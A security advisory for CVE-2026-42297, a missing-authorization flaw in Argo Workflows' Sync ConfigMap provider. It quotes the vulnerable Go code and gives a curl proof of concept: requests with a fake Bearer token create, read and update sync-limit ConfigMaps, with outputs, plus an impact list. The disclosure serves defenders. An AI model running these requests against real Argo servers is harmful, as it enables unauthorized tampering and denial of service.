CVE-2026-42297: Argo Workflows Is Missing Authorization in Sync ConfigMap Provider

Summary The Sync Service's ConfigMap-backed provider (server/sync/synccm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.

Details The ConfigMap-backed provider (server/sync/synccm.go) has no auth.CanI checks:

go // synccm.go — UNPROTECTED func (s configMapSyncProvider) createSyncLimit(ctx context.Context, req syncpkg.CreateSyncLimitRequest) { // NO auth.CanI check kubeClient := auth.GetKubeClient(ctx) configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace) // ... directly creates/updates ConfigMaps } - server/sync/synccm.go — lines 23-155 - All four SyncService endpoints: CreateSyncLimit, GetSyncLimit, UpdateSyncLimit, DeleteSyncLimit

PoC Prerequisites

- Argo Server running with --auth-mode=server - Port-forward: kubectl port-forward -n argo svc/argo-server 2746:2746

Step 1: Create Sync Limit (Fake Token)

bash curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \ -H "Authorization: Bearer fake-token" \ -H "Content-Type: application/json" \ -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}'

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Verify ConfigMap was created in Kubernetes:

bash kubectl get configmap test-sync -n default

NAME DATA AGE test-sync 1 74s

Step 2: Read Sync Limit (Fake Token)

bash curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \ -H "Authorization: Bearer fake-token"

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Step 3: Update Sync Limit (Fake Token)

bash curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \ -H "Authorization: Bearer fake-token" \ -H "Content-Type: application/json" \ -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}'

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}

Verify the ConfigMap was actually modified:

bash kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'

999

Impact An attacker with network access to the Argo Server can:

1. Denial of Service — Set sync limits to 0 or 1, blocking all parallel workflow execution 2. Workflow Disruption — Modify existing sync limits to break running workflows 3. Information Disclosure — Read ConfigMap data that may contain sensitive configuration 4. Arbitrary ConfigMap Manipulation — Create/delete ConfigMaps in any namespace accessible to the server's service account

Related CVEs

- CVE-2026-28229 (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints — same root cause (missing auth.CanI check) - CVE-2024-53862 (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass — same pattern